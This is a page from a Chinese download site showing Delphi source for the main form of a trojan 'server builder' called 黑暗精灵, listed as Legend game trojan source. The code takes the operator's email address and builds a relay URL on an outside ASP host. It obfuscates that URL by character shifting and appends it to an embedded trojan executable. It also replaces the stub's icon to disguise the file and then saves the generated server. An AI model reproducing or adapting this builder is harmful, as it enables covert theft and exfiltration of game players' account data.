⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 unit_frmmain.pas

📁 传奇木马Delphi源程序
💻 PAS
字号:
unit Unit_FrmMain;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, ExtCtrls;

type
  TFrmMain = class(TForm)
    SaveDialog1: TSaveDialog;
    Image1: TImage;
    Button2: TButton;
    GroupBox1: TGroupBox;
    Edit_MailAddress: TEdit;
    Label1: TLabel;
    Memo1: TMemo;
    Panel1: TPanel;
    RadioButton2: TRadioButton;
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    procedure ModifIconByStream_Cq(var exeStream: TMemoryStream);
    procedure ModifIconByStream_Main(var exeStream: TMemoryStream);
    { Private declarations }
  public
    { Public declarations }
  end;

var
  FrmMain: TFrmMain;

implementation

uses Unit_FrmChooseIcon,Unit_cq,Unit_Main;

{$R *.dfm}

procedure TFrmMain.Button1Click(Sender: TObject);
begin
if FrmChooseIcon.ShowModal = mrok  then
   if not (FrmChooseIcon.Image1.Picture.Icon.Empty) then
    Image1.Picture.Icon.Assign(FrmChooseIcon.Image1.Picture.Icon);
end;
procedure TFrmMain.ModifIconByStream_Cq(var exeStream:TMemoryStream);
const IconOffSet:integer=$87B0;//34736
var
TempStream,IconStream:TMemoryStream;
iPostion:integer;
ferIcon: packed array[0..743] of byte;
ferFoot:packed array[0..360-1] of byte;
begin
iPostion:=exeStream.Position;
IconStream:=TMemoryStream.Create;
Image1.Picture.Icon.SaveToStream(IconStream);
IconStream.Seek(22, soFrombeginning); //size of icon-header is 22
IconStream.Read(ferIcon, sizeof(ferIcon));
IconStream.Free;

TempStream:=TMemoryStream.Create;
exeStream.Position:=0;
TempStream.CopyFrom(exeStream,IconOffSet);
exeStream.Seek(744, soFromCurrent);
exeStream.Read(ferFoot, exeStream.Size - exeStream.Position);
TempStream.Write(ferIcon, sizeof(ferIcon)); //icon content
TempStream.Write(ferFoot, sizeof(ferFoot)); //write footer
exeStream.Clear;
exeStream.CopyFrom(TempStream,0);
TempStream.Free;
exeStream.Position:=iPostion;
end;
procedure TFrmMain.ModifIconByStream_Main(var exeStream:TMemoryStream);
const IconOffSet:integer=$D2BC;//53948
var
TempStream,IconStream:TMemoryStream;
iPostion:integer;
ferIcon: packed array[0..743] of byte;
ferFoot:packed array[0..604-1] of byte;
begin
iPostion:=exeStream.Position;
IconStream:=TMemoryStream.Create;
Image1.Picture.Icon.SaveToStream(IconStream);
IconStream.Seek(22, soFrombeginning); //size of icon-header is 22
IconStream.Read(ferIcon, sizeof(ferIcon));
IconStream.Free;

TempStream:=TMemoryStream.Create;
exeStream.Position:=0;
TempStream.CopyFrom(exeStream,IconOffSet);
exeStream.Seek(744, soFromCurrent);
exeStream.Read(ferFoot, exeStream.Size - exeStream.Position);
TempStream.Write(ferIcon, sizeof(ferIcon)); //icon content
TempStream.Write(ferFoot, sizeof(ferFoot)); //write footer
exeStream.Clear;
exeStream.CopyFrom(TempStream,0);
TempStream.Free;
exeStream.Position:=iPostion;
end;

procedure TFrmMain.Button2Click(Sender: TObject);
const
AspHead1:string='http://www.xayu.com/http.asp?MailBody=';
AspHead2:string='&Tomail=';
var
MyMemoryStream:TMemoryStream;
i,iSize:integer;
StrTemp,StrWrite:string;
strSaveFileName:string;
begin
if Trim(Edit_MailAddress.Text)='' then
begin
Application.MessageBox('信箱不能为空,请重新输入!',Pchar(Application.Title),MB_ICONINFORMATION);
Edit_MailAddress.SetFocus;
Exit;
end;
if pos('@', Edit_MailAddress.Text)=0 then
begin
Application.MessageBox('信箱格式不正确,请重新输入!',Pchar(Application.Title),MB_ICONINFORMATION);
Edit_MailAddress.SetFocus;
Exit;
end;
if SaveDialog1.Execute then
begin
StrTemp:=AspHead1+#13+AspHead2+Trim(Edit_MailAddress.Text);
StrWrite:='';
for i:=1 to Length(StrTemp) do StrWrite:=StrWrite+Chr(Ord(StrTemp[i])-28);
MyMemoryStream:=TMemoryStream.Create;

if RadioButton2.Checked then
begin
Cjt_SavecqToStream(MyMemoryStream);
ModifIconByStream_Cq(MyMemoryStream);
end
else
begin
Cjt_SaveMainToStream(MyMemoryStream);
ModifIconByStream_Main(MyMemoryStream);
end;

MyMemoryStream.Seek(0,soFromEnd);
iSize:=Length(StrWrite);
MyMemoryStream.Write(StrWrite[1],iSize);
MyMemoryStream.Write(iSize,Sizeof(iSize));
MyMemoryStream.Position:=0;

if RadioButton2.Checked then
strSaveFileName:=ExtractFilePath(SaveDialog1.FileName)+''+ExtractFileName(SaveDialog1.FileName)
else
strSaveFileName:=ExtractFilePath(SaveDialog1.FileName)+'搜索型'+ExtractFileName(SaveDialog1.FileName);


MyMemoryStream.SaveToFile(strSaveFileName);
MyMemoryStream.Free;
Application.MessageBox('服务端生成完毕!',Pchar(Application.Title),MB_ICONINFORMATION);
end;
end;


procedure TFrmMain.FormCreate(Sender: TObject);
begin
Application.Title:='黑暗精灵';
Caption:=Application.Title;
Edit_MailAddress.Clear;
end;

end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -